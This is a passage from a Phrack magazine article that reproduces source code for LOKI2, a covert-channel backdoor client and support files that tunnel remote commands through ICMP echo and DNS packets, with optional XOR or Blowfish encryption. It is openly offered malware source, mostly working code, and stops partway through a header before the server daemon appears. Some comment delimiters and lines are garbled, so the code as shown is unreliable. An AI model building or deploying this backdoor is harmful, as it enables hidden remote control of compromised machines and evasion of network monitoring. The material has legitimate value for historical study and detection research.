Craig Nottingham for letting me borrow some nomenclature, truss and strace for being indespensible tools of the trade,

Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and technique.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ THE SOURCE

Whelp, here it is. Extract the code from the article using one of the included extraction utilities.

<++> L2/Makefile

# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997

# route (c) 1997 Guild Corporation, Worldwide

######

# Choose a cryptography type

#

CRYPTO_TYPE = WEAK_CRYPTO # XOR

#CRYPTO_TYPE = NO_CRYPTO # Plaintext

#CRYPTO_TYPE = STRONG_CRYPTO # Blowfish and DH

######

# If you want STRONG_CRYPTO, uncomment the following (and make sure you have # SSLeay)

#LIB_CRYPTO_PATH = /usr/local/ssl/lib/

#CLIB = ‑L$(LIB_CRYPTO_PATH) ‑lcrypto

#MD5_OBJ = md5/md5c.o

######

# Choose a child process handler type

#

SPAWN_TYPE = POPEN

#SPAWN_TYPE = PTY

######

# It is safe to leave this alone.

#

NET3 = #‑DNET3

SEND_PAUSE = SEND_PAUSE=100

DEBUG = #‑DDEBUG

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i_hear_a_voice_from_the_back_of_the_room:

@echo

@echo "LOKI2 Makefile"

@echo "Edit the Makefile and then invoke with one of the following:" @echo

@echo "linux openbsd freebsd solaris clean"

@echo

@echo "See Phrack Magazine issue 51 article 7 for verbose instructions" @echo

linux:

@make OS=‑DLINUX CRYPTO_TYPE=‑D$(CRYPTO_TYPE) \ SPAWN_TYPE=‑D$(SPAWN_TYPE) SEND_PAUSE=‑D$(SEND_PAUSE) \ FAST_CHECK=‑Dx86_FAST_CHECK IP_LEN= all

openbsd:

@make OS=‑DBSD4 CRYPTO_TYPE=‑D$(CRYPTO_TYPE) \ SPAWN_TYPE=‑D$(SPAWN_TYPE) SEND_PAUSE=‑D$(SEND_PAUSE) \ FAST_CHECK=‑Dx86_FAST_CHECK IP_LEN= all

freebsd:

@make OS=‑DBSD4 CRYPTO_TYPE=‑D$(CRYPTO_TYPE) \ SPAWN_TYPE=‑D$(SPAWN_TYPE) SEND_PAUSE=‑D$(SEND_PAUSE) \ FAST_CHECK=‑Dx86_FAST_CHECK IP_LEN=‑DBROKEN_IP_LEN all

solaris:

@make OS=‑DSOLARIS CRYPTO_TYPE=‑D$(CRYPTO_TYPE) \ SPAWN_TYPE=‑D$(SPAWN_TYPE) SEND_PAUSE=‑D$(SEND_PAUSE) \ LIBS+=‑lsocket LIBS+=‑lnsl IP_LEN= all

CFLAGS= ‑Wall ‑O6 ‑finline‑functions ‑funroll‑all‑loops $(OS) \ $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \ $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)

CC= gcc

C_OBJS = surplus.o crypt.o

S_OBJS = client_db.o shm.o surplus.o crypt.o pty.o

.c.o:

$(CC) $(CFLAGS) ‑c $< ‑o $@

all:$(MD5_OBJ) loki

md5obj: md5/md5c.c

@( cd md5; make )

loki:$(C_OBJS) loki.o $(S_OBJS) lokid.o

$(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c ‑o loki $(CLIB) $(LIBS) $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c ‑o lokid $(CLIB) $(LIBS) @(strip loki lokid)

clean:

@( rm ‑fr *.o loki lokid )

@( cd md5; make clean )

dist:clean

@( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )

<‑‑> Makefile

<++> L2/client_db.c

/*

* LOKI2

*

* [ client_db.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

#include "shm.h"

#include "client_db.h"

extern struct loki rdg;

extern int verbose;

extern int destroy_shm;

extern struct client_list *client;

extern u_short c_id;

#ifdef STRONG_CRYPTO

extern short ivec_salt;

extern u_char user_key[BF_KEYSIZE];

#endif

#ifdef PTY

extern int mfd;

#endif

/*

* The server maintains an array of active client information. This * function simply steps through the structure array and attempts to add * an entry.

*/

int add_client(u_char *key)

{

int i = 0, emptyslot = ‑1;

#ifdef PTY

char p_name[BUFSIZE] = {0};

#endif

locks();

for (; i < MAX_CLIENT; i++)

{

if (IS_GOOD_CLIENT(rdg))

{ Check for duplicate entries

which are to be expected when

not using STRONG_CRYPTO)

#ifdef STRONG_CRYPTO

if (verbose) fprintf(stderr, S_MSG_DUP);

#endif

emptyslot = i;

break;

} tag the first empty slot found */

if ((!(client[i].client_id))) emptyslot = i;

}

if (emptyslot == ‑1)

{ No empty array slots */

if (verbose) fprintf(stderr, "\nlokid: Client database full"); ulocks();

return (NNOK);

}

Initialize array with client info */

client[emptyslot].touchtime = time((time_t *)NULL); if (emptyslot != i){

client[emptyslot].client_id = c_id; client[emptyslot].client_ip = rdg.iph.ip_src; client[emptyslot].packets_sent = 0; client[emptyslot].bytes_sent = 0; client[emptyslot].hits = 0;

#ifdef PTY

client[emptyslot].pty_fd = 0;

#endif

}

#ifdef STRONG_CRYPTO

copy unset bf key and set salt */

bcopy(key, client[emptyslot].key, BF_KEYSIZE); client[emptyslot].ivec_salt = 0;

#endif

ulocks();

return (emptyslot);

}

/*

* Look for a client entry in the client database. Either copy the clients * key into user_key and update timestamp, or clear the array entry, * depending on the disposition of the call.

*/

int locate_client(int disposition)

{

int i = 0;

locks();

for (; i < MAX_CLIENT; i++)

{

if (IS_GOOD_CLIENT(rdg))

{

if (disposition == FIND) /* update timestamp */

{

client[i].touchtime = time((time_t *)NULL);

#ifdef STRONG_CRYPTO

Grab the key */

bcopy(client[i].key, user_key, BF_KEYSIZE);

#endif

}

Remove entry */

else if (disposition == DESTROY) bzero(&client[i], sizeof(client[i])); ulocks();

return (i);

}

}

ulocks(); /* Didn't find the client */

return (NNOK);

}

/*

* Fill a string with current stats about a particular client. */

int stat_client(int entry, u_char *buf, int prot, time_t uptime)

{

int n = 0;

time_t now = 0;

struct protoent *proto = 0;

locate_client didn't find an

entry

if (entry == NNOK)

{

fprintf(stderr, "DEBUG: stat_client nono\n");

return (NOK);

}

n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);

n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));

proto = getprotobynumber(prot);

n += sprintf(&buf[n], "active transport:\t%s\n", proto ‑> p_name); n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE); time(&now);

n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);

locks();

n += sprintf(&buf[n], "client ID:\t\t%d\n", client[entry].client_id); n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent); n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent); n += sprintf(&buf[n], "requests:\t\t%d\n", client[entry].hits); ulocks();

return (n);

}

/*

* Unsets alarm timer, then calls age_client, then resets signal handler * and alarm timer.

*/

void client_expiry_check(){

alarm(0);

age_client();

re‑establish signal handler */

if (signal(SIGALRM, client_expiry_check) == SIG_ERR) err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");

alarm(KEY_TIMER);

}

/*

* This function is called every KEY_TIMER interval to sweep through the * client list. It zeros any entrys it finds that have not been accessed * in KEY_TIMER seconds. This gives us a way to free up entries from clients * which may have crashed or lost their QUIT_C packet in transit. */

void age_client()

{

time_t timestamp = 0;

int i = 0;

time(&timestamp);

locks();

for (; i < MAX_CLIENT; i++)

{

if (client[i].client_id)

{

if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) {

if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i); bzero(&client[i], sizeof(client[i]));

#ifdef STRONG_CRYPTO

ivec_salt = 0;

#endif

}

}

}

ulocks();

}

/*

* Update the statistics for client.

*/

void update_client(int entry, int pcount, u_long bcount)

{

locks();

client[entry].touchtime = time((time_t *)NULL); client[entry].packets_sent += pcount; client[entry].bytes_sent += bcount;

client[entry].hits ++;

ulocks();

}

/*

* Returns the IP address and ID of the targeted entry

*/

u_long check_client_ip(int entry, u_short *id)

{

u_long ip = 0;

locks();

if ((*id = (client[entry].client_id))) ip = client[entry].client_ip; ulocks();

return (ip);

}

#ifdef STRONG_CRYPTO

/*

* Update and return the IV salt for the client

*/

u_short update_client_salt(int entry)

{

u_short salt = 0;

locks();

salt = ++client[entry].ivec_salt;

ulocks();

return (salt);

}

#endif /* STRONG_CRYPTO */

/* EOF */

<‑‑> client_db.c

<++> L2/client_db.h

/*

* LOKI

*

* client_db header file

*

* 1996/7 Guild Corporation Productions [daemon9]

*/

/*

* Client info list.

* MAX_CLIENT of these will be kept in a server‑side array

*/

struct client_list

{

#ifdef STRONG_CRYPTO

u_char key[BF_KEYSIZE]; /* unset bf key */

u_short ivec_salt; /* the IV salter */

#endif

u_short client_id; /* client loki_id */

u_long client_ip; /* client IP address */

time_t touchtime; /* last time entry was hit */

u_long packets_sent; /* Packets sent to this client */

u_long bytes_sent; /* Bytes sent to this client */

u_int hits; /* Number of queries from client */

#ifdef PTY

int pty_fd; /* Master PTY file descriptor */

#endif

};

#define IS_GOOD_CLIENT(ldg)\

\

(c_id == client[i].client_id && \

ldg.iph.ip_src == client[i].client_ip) > \

(0) ? (1) : (0) \

void update_client(int, int, u_long); /* Update a client entry */

client info into supplied buffer */

int stat_client(int, u_char *, int, time_t);

int add_client(u_char *); /* add a client entry */

int locate_client(int); /* find a client entry */

void age_client(void); /* age a client from the list */

u_short update_client_salt(int); /* update and return salt */

u_long check_client_ip(int, u_short *); /* return ip and id of target */

<‑‑> client_db.h

<++> L2/crypt.c

/*

* LOKI2

*

* [ crypt.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

#include "crypt.h"

#include "md5/global.h"

#include "md5/md5.h"

#ifdef STRONG_CRYPTO

u_char user_key[BF_KEYSIZE]; /* unset blowfish key */

BF_KEY bf_key; /* set key */

volatile u_short ivec_salt = 0;

/*

* Blowfish in cipher‑feedback mode. This implements blowfish (a symmetric * cipher) as a self‑synchronizing stream cipher. The initialization * vector (the initial dummy cipher‑text block used to seed the encryption) * need not be secret, but it must be unique for each encryption. I fill * the ivec[] array with every 3rd key byte incremented linear‑like via * a global encryption counter (which must be synced in both client and * server).

*/

void blur(int m, int bs, u_char *t)

{

int i = 0, j = 0, num = 0;

u_char ivec[IVEC_SIZE + 1] = {0};

for (; i < BF_KEYSIZE; i += 3) /* fill in IV */

ivec[j++] = (user_key[i] + (u_char)ivec_salt); BF_cfb64_encrypt(t, t, (long)(BUFSIZE ‑ 1), &bf_key, ivec, &num, m); }

/*

* Generate DH keypair.

*/

DH* generate_dh_keypair()

{

DH *dh = NULL;

Initialize the DH structure */

dh = DH_new();

Convert the prime into BIGNUM */

(BIGNUM *)(dh ‑> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);

Create a new BIGNUM */

(BIGNUM *)(dh ‑> g) = BN_new();

Set the DH generator */

BN_set_word((BIGNUM *)(dh ‑> g), DH_GENERATOR_5);

Generate the key pair */

if (!DH_generate_key(dh)) return ((DH *)NULL);

return(dh);

}

/*

* Extract blowfish key from the DH shared secret. A simple MD5 hash is * perfect as it will return the 16‑bytes we want, and obscure any possible * redundancies or key‑bit leaks in the DH shared secret.

*/

u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)

{

u_char digest[MD5_HASHSIZE];

unsigned len = BN2BIN_SIZE;

MD5_CTX context;

initialize MD5 (loads magic context

constants)

MD5Init(&context);

MD5 hashing */

MD5Update(&context, dh_shared_secret, len);

clean up of MD5 */

MD5Final(digest, &context);

bcopy(digest, user_key, BF_KEYSIZE);

In the server we dunot set the key

right away; they are set when they

are nabbed from the client list.

if (set_bf == OK)

{

BF_set_key(&bf_key, BF_KEYSIZE, user_key);

return ((u_char *)NULL);

}

else return (strdup(user_key));

}

#endif

#ifdef WEAK_CRYPTO

/*

* Simple XOR obfuscation.

*

* ( Syko was right ‑‑ the following didn't work under certain compilation * environments... Never write code in which the order of evaluation defines * the result. See K&R page 53, at the bottom... )

*

* if (!m) while (i < bs) t[i] ^= t[i++ +1];

* else

* {

* i = bs;

* while (i) t[i ‑ 1] ^= t[i‑‑];

* }

*

*/

void blur(int m, int bs, u_char *t)

{

int i = 0;

if (!m)

{ /* Encrypt */

while (i < bs)

{

t[i] ^= t[i + 1];

i++;

}

}

else

{ /* Decrypt */

i = bs;

while (i)

{

t[i ‑ 1] ^= t[i];

i‑‑;

}

}

}

#endif

#ifdef NO_CRYPTO

/*

* No encryption

*/

void blur(int m, int bs, u_char *t){}

#endif

/* EOF */

<‑‑> crypt.c

<++> L2/crypt.h

/*

* LOKI

*

* crypt header file

*

* 1996/7 Guild Corporation Productions [daemon9]

*/

#ifdef STRONG_CRYPTO

/* 384‑bit strong prime */

u_char modulus[] =

{

0xDA, 0xE1, 0x01, 0xCD, 0xD8, 0xC9, 0x70, 0xAF, 0xC2, 0xE4, 0xF2, 0x7A, 0x41, 0x8B, 0x43, 0x39, 0x52, 0x9B, 0x4B, 0x4D, 0xE5, 0x85, 0xF8, 0x49, 0x03, 0xA9, 0x66, 0x2C, 0xC0, 0x8A, 0xA6, 0x58, 0x3E, 0xCB, 0x72, 0x14, 0xA7, 0x75, 0xDB, 0x42, 0xFC, 0x3E, 0x4D, 0xDF, 0xB9, 0x24, 0xC8, 0xB3,

};

#endif

<‑‑> crypt.h

<++> L2/loki.c

/*

* LOKI2

*

* [ loki.c ]

*

* 1996/7 Guild Corporation Worldwide [daemon9]

*/

#include "loki.h"

jmp_buf env;

struct loki sdg, rdg;

int verbose = OK, cflags = 0, ripsock = 0, tsock = 0;

u_long p_read = 0; /* packets read */

#ifdef STRONG_CRYPTO

DH *dh_keypair = NULL; /* DH public and private keypair */

extern u_short ivec_salt;

#endif

int main(int argc, char *argv[])

{

static int prot = IPPROTO_ICMP, one = 1, c = 0;

#ifdef STRONG_CRYPTO

static int established = 0, retran = 0;

#endif

static u_short loki_id = 0;

int timer = MIN_TIMEOUT;

u_char buf[BUFSIZE] = {0};

struct protoent *pprot = 0;

struct sockaddr_in sin;

Ensure we have proper permissions */

if (getuid() || geteuid()) err_exit(1, 1, verbose, L_MSG_NOPRIV); loki_id = getpid(); /* Allows us to individualize each

same protocol loki client session

on a given host.

bzero((struct sockaddr_in *)&sin, sizeof(sin));

while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF)

{

switch (c)

{

case 'v': /* change verbosity */

verbose = atoi(optarg);

break;

case 'd': /* destination address of daemon */

strncpy(buf, optarg, BUFSIZE ‑ 1); sin.sin_family = AF_INET; sin.sin_addr.s_addr = name_resolve(buf); break;

case 't': /* change alarm timer */

if ((timer = atoi(optarg)) < MIN_TIMEOUT) err_exit(1, 0, 1, "Invalid timeout.\n"); break;

case 'p': /* select transport protocol */

switch (optarg[0])

{

case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */

prot = IPPROTO_ICMP; break;

case 'u': /* DNS query / reply */

prot = IPPROTO_UDP; break;

default:

err_exit(1, 0, verbose, "Unknown transport.\n"); }

break;

default:

err_exit(0, 0, 1, C_MSG_USAGE);

}

}

we need a destination address */

if (!sin.sin_addr.s_addr) err_exit(0, 0, verbose, C_MSG_USAGE); if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, 1, L_MSG_SOCKET);

#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */

if (prot != IPPROTO_ICMP) err_exit(0, 0, verbose, L_MSG_ICMPONLY); #endif

Raw socket to build packets */

if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) err_exit(1, 1, verbose, L_MSG_SOCKET);

#ifdef DEBUG

fprintf(stderr, "\nRaw IP socket: ");

fd_status(ripsock, OK);

#endif

#ifdef IP_HDRINCL

if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) if (verbose) perror("Cannot set IP_HDRINCL socket option"); #endif

register packet dumping function

to be called upon exit

if (atexit(packets_read) == ‑1) err_exit(1, 1, verbose, L_MSG_ATEXIT);

fprintf(stderr, L_MSG_BANNER);

for (; ;)

{

#ifdef STRONG_CRYPTO

Key negotiation phase. Before we

can do anything, we need to share

a secret with the server. This

is our key management phase.

After this is done, we are

established. We try MAX_RETRAN

times to contact a server.

if (!established)

{

Generate the DH parameters and public

and private keypair

if (!dh_keypair)

{

if (verbose) fprintf(stderr, "\nloki: %s", L_MSG_DHKEYGEN); if (!(dh_keypair = generate_dh_keypair())) err_exit(1, 0, verbose, L_MSG_DHKGFAIL); }

if (verbose) fprintf(stderr, "\nloki: submiting our public key to server");

convert the BIGNUM public key

into a big endian byte string

bzero((u_char *)buf, BUFSIZE); BN_bn2bin((BIGNUM *)dh_keypair ‑> pub_key, buf);

Submit our key and request to

the server (in one packet)

if (verbose) fprintf(stderr, C_MSG_PKREQ); loki_xmit(buf, loki_id, prot, sin, L_PK_REQ); }

else

{

#endif

bzero((u_char *)buf, BUFSIZE); fprintf(stderr, PROMPT); /* prompt user for input */

read(STDIN_FILENO, buf, BUFSIZE ‑ 1); buf[strlen(buf)] = 0;

Nothing to parse */

if (buf[0] == '\n') continue; /* Escaped command */

if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue;

Send request to server */

loki_xmit(buf, loki_id, prot, sin, L_REQ);

#ifdef STRONG_CRYPTO

}

#endif

change transports */

if (cflags & NEWTRANS)

{

close(tsock);

prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) err_exit(1, 1, verbose, L_MSG_SOCKET);

pprot = getprotobynumber(prot);

if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot ‑> p_name); cflags &= ~NEWTRANS;

continue;

}

if (cflags & TERMINATE) /* client should exit */

{

fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n"); clean_exit(0);

}

Clear TRAP and VALID PACKET flags */

cflags &= (~TRAP & ~VALIDP);

set alarm singal handler */

if (signal(SIGALRM, catch_timeout) == SIG_ERR) err_exit(1, 1, verbose, L_MSG_SIGALRM);

returns true if we land here as the

result of a longjmp() ‑‑ IOW the

alarm timer went off

if (setjmp(env))

{

fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT); cflags |= TRAP;

#ifdef STRONG_CRYPTO

if (!established) /* No connection established yet */

if (++retran == MAX_RETRAN) err_exit(1, 0, verbose, "[fatal] cannot contact server. Giving up.\n"); else if (verbose) fprintf(stderr, "Resending...\n"); #endif

}

while (!(cflags & TRAP))

{ TRAP will not be set unless the

alarm timer expires or we get

an EOT packet

alarm(timer); /* block until alarm or read */

if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0) perror("[non fatal] network read error");

switch (prot)

{ Is this a valid Loki packet? */

case IPPROTO_ICMP:

if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP; break;

case IPPROTO_UDP:

if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP; break;

default:

err_exit(1, 0, verbose, L_MSG_WIERDERR); }

if (cflags & VALIDP)

{

#ifdef DEBUG

fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c); PACKET_TYPE(rdg);

DUMP_PACKET(rdg, c);

#endif

we have a valid packet and can

turn off the alarm timer

alarm(0);

switch (rdg.payload[0]) /* determine packet type */

{

case L_REPLY : /* standard reply packet */

bcopy(&rdg.payload[1], buf, BUFSIZE ‑ 1); blur(DECR, BUFSIZE ‑ 1, buf);

#ifndef DEBUG

fprintf(stderr, "%s", buf);

#endif

p_read++;

break;

case L_EOT : /* end of transmission packet */

cflags |= TRAP; p_read++;

break;

case L_ERR : /* error msg packet (not encrypted) */

bcopy(&rdg.payload[1], buf, BUFSIZE ‑ 1); fprintf(stderr, "%s", buf);

#ifdef STRONG_CRYPTO

If the connection is not established

we exit upon receipt of an error

if (!established) clean_exit(1);

#endif

break;

#ifdef STRONG_CRYPTO

case L_PK_REPLY : /* public‑key receipt */

if (verbose) fprintf(stderr, C_MSG_PKREC);

compute DH key parameters */

DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);

extract blowfish key from the

DH shared secret.

if (verbose) fprintf(stderr, C_MSG_SKSET); extract_bf_key(buf, OK); established = OK; break;

#endif

case L_QUIT: /* termination directive packet */

fprintf(stderr, C_MSG_MUSTQUIT); clean_exit(0);

default : fprintf(stderr, "\nUnknown LOKI packet type"); break;

}

cflags &= ~VALIDP; /* reset VALID PACKET flag */

}

}

}

return (0);

}

/*

* Build and transmit Loki packets (client version)

*/

void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype) {

bzero((struct loki *)&sdg, LOKIP_SIZE);

Encrypt and load payload, unless

we are doing key management

if (ptype != L_PK_REQ)

{

#ifdef STRONG_CRYPTO

ivec_salt++;

#endif

blur(ENCR, BUFSIZE ‑ 1, payload);

}

bcopy(payload, &sdg.payload[1], BUFSIZE ‑ 1);

if (prot == IPPROTO_ICMP)

{

#ifdef NET3 Our workaround. */

sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;

#else

sdg.ttype.icmph.icmp_type = ICMP_ECHO;

#endif

sdg.ttype.icmph.icmp_code = (int)NULL; sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */

sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */

sdg.payload[0] = ptype; sdg.ttype.icmph.icmp_cksum = i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); }

if (prot == IPPROTO_UDP)

{

sdg.ttype.udph.uh_sport = loki_id; sdg.ttype.udph.uh_dport = NL_PORT; sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); sdg.payload[0] = ptype; sdg.ttype.udph.uh_sum = i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); }

sdg.iph.ip_v = 0x4;

sdg.iph.ip_hl = 0x5;

sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);

sdg.iph.ip_ttl = 0x40;

sdg.iph.ip_p = prot;

sdg.iph.ip_dst = sin.sin_addr.s_addr;

if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE)) {

if (verbose) perror("[non fatal] truncated write");

}

}

/*

* help is here

*/

void help()

{

fprintf(stderr,"

%s\t\t‑ you are here

%s xx\t\t‑ change alarm timeout to xx seconds (minimum of %d) %s\t\t‑ query loki server for client statistics

%s\t\t‑ query loki server for all client statistics %s\t\t‑ swap the transport protocol ( UDP <‑> ICMP ) [in beta] %s\t\t‑ quit the client

%s\t\t‑ quit this client and kill all other clients (and the server) %s dest\t\t‑ proxy to another server [ UNIMPLIMENTED ] %s dest\t‑ redirect to another client [ UNIMPLIMENTED ]\n",

HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C); }

/*

* parse escaped commands

*/

int c_parse(u_char *buf, int *timer)

{

cflags &= ~VALIDC;

help */

if (!strncmp(buf, HELP, sizeof(HELP) ‑ 1) || buf[1] == '?') {

help();

return (NOK);

}

change alarm timer */

else if (!strncmp(buf, TIMER, sizeof(TIMER) ‑ 1))

{

cflags |= VALIDC;

(*timer) = atoi(&buf[sizeof(TIMER) ‑ 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) ‑ 1]) : MIN_TIMEOUT; fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer); return (NOK);

}

Quit client, send notice to server */

else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) ‑ 1)) cflags |= (TERMINATE | VALIDC);

Quit client, send kill to server */

else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) ‑ 1)) cflags |= (TERMINATE | VALIDC);

Request server‑side statistics */

else if (!strncmp(buf, STAT_C, sizeof(STAT_C) ‑ 1)) cflags |= VALIDC;

Swap transport protocols */

else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) ‑ 1))

{

When using strong crypto we do not

want to swap protocols.

#ifdef STRONG_CRYPTO

fprintf(stderr, C_MSG_NOSWAP);

return (NOK);

#elif !(__linux__)

fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n"); return (NOK);

#else

cflags |= (NEWTRANS | VALIDC);

#endif

}

Request server to redirect output

to another LOKI client

else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) ‑ 1)) cflags |= (REDIRECT | VALIDC);

Request server to simply proxy

requests to another LOKI server

else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) ‑ 1)) cflags |= (PROXY | VALIDC);

Bad command trap */

if (!(cflags & VALIDC))

{

fprintf(stderr, "Unrecognized command %s\n",buf); return (NOK);

}

return (OK);

}

/*

* Dumps packets read by client...

*/

void packets_read()

{

fprintf(stderr, "Packets read: %ld\n", p_read);

}

/* EOF */

<‑‑> loki.c

<++> L2/loki.h

#ifndef __LOKI_H__

#define __LOKI_H__

/*

* LOKI

*

* loki header file

*

* 1996/7 Guild Corporation Productions [daemon9]

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <pwd.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <sys/stat.h>

#include <sys/wait.h>

#include <fcntl.h>

#include <time.h>

#include <grp.h>

#include <termios.h>

#include <sys/ipc.h>

#include <sys/sem.h>

#include <sys/shm.h>

#include <setjmp.h>

#ifdef LINUX

#include <linux/icmp.h>

#include <linux/ip.h>

#include <linux/signal.h>

/* BSDish nomenclature */

#define ip iphdr

#define ip_v version

#define ip_hl ihl

#define ip_len tot_len

#define ip_ttl ttl

#define ip_p protocol

#define ip_dst daddr

#define ip_src saddr

#endif

#ifdef BSD4

#include <netinet/in_systm.h>

#include <netinet/ip_var.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/tcpip.h>

#include <netinet/ip_icmp.h>

#include <netinet/icmp_var.h>

#include <sys/sockio.h>

#include <sys/termios.h>

#include <sys/signal.h>

#undef icmp_id

#undef icmp_seq

#define ip_dst ip_dst.s_addr

#define ip_src ip_src.s_addr

#endif

#ifdef SOLARIS

#include <netinet/in_systm.h>

#include <netinet/in.h>

#include <netinet/ip_var.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/tcpip.h>

#include <netinet/ip_icmp.h>

#include <netinet/icmp_var.h>

#include <sys/sockio.h>

#include <sys/termios.h>

#include <sys/signal.h>

#include <strings.h>

#include <unistd.h>

#undef icmp_id

#undef icmp_seq

#define ip_dst ip_dst.s_addr

#define ip_src ip_src.s_addr

#endif

#ifdef BROKEN_IP_LEN

#define FIX_LEN(n) (x) /* FreeBSD needs this */

#else

#define FIX_LEN(n) htons(n)

#endif

/*

* Net/3 will not pass ICMP_ECHO packets to user processes.

*/

#ifdef NET3

#define D_P_TYPE ICMP_ECHO

#define C_P_TYPE ICMP_ECHOREPLY

#else

#define D_P_TYPE ICMP_ECHOREPLY

#define C_P_TYPE ICMP_ECHO

#endif

#ifdef STRONG_CRYPTO

#include "/usr/local/ssl/include/blowfish.h"

#include "/usr/local/ssl/include/bn.h"

#include "/usr/local/ssl/include/dh.h"

#include "/usr/local/ssl/include/buffer.h"

#define BF_KEYSIZE 16 /* blowfish key in bytes */

#define IVEC_SIZE 7 /* I grabbed this outta thin air. */

#define BN2BIN_SIZE 48 /* bn2bin byte‑size of 384‑bit prime */

#endif

#ifdef STRONG_CRYPTO

#define CRYPTO_TYPE "blowfish"

#endif

#ifdef WEAK_CRYPTO

#define CRYPTO_TYPE "XOR"

#endif

#ifdef NO_CRYPTO

#define CRYPTO_TYPE "none"

#endif

/* Start user configurable options */

#define MIN_TIMEOUT 3 /* minimum client‑side alarm timeout */

#define MAX_RETRAN 3 /* maximum client‑side timeout/retry amount */

#define MAX_CLIENT 0xa /* maximum server‑side client count */

#define KEY_TIMER 0xe10 /* maximum server‑side idle client TTL */

/* End user configurable options */

#define VERSION "2.0"

#define BUFSIZE 0x38 /* We build packets with a fixed payload.

* Fine for ICMP_ECHO/ECHOREPLY packets as they

* often default to a 56 byte payload. However

* DNS query/reply packets have no set size and

* are generally oddly sized with no padding.

*/

#define ICMPH_SIZE 8

#define UDPH_SIZE 8

#define NL_PORT htons(0x35)

#define PROMPT "loki> "

#define ENCR 1 /* symbolic for encrypt */

#define DECR 0 /* symbolic for decrypt */

#define NOCR 1 /* don't encrypt this packet */

#define OKCR 0 /* encrypt this packet */

#define OK 1 /* Positive acknowledgement */

#define NOK 0 /* Negative acknowledgement */

#define NNOK ‑1 /* Really negative acknowledgement */

#define FIND 1 /* Controls locate_client */

#define DESTROY 2 /* disposition */

/* LOKI packet type symbolics */

#define L_TAG 0xf001 /* Tags packets as LOKI */

#define L_PK_REQ 0xa1 /* Public Key request packet */

#define L_PK_REPLY 0xa2 /* Public Key reply packet */

#define L_EOK 0xa3 /* Encrypted ok */

#define L_REQ 0xb1 /* Standard reuqest packet */

#define L_REPLY 0xb2 /* Standard reply packet */

#define L_ERR 0xc1 /* Error of some kind */

#define L_ACK 0xd1 /* Acknowledgement */

#define L_QUIT 0xd2 /* Receiver should exit */

#define L_EOT 0xf1 /* End Of Transmission packet */

/* Packet type printing macro */

#ifdef DEBUG

#define PACKET_TYPE(ldg)\

\
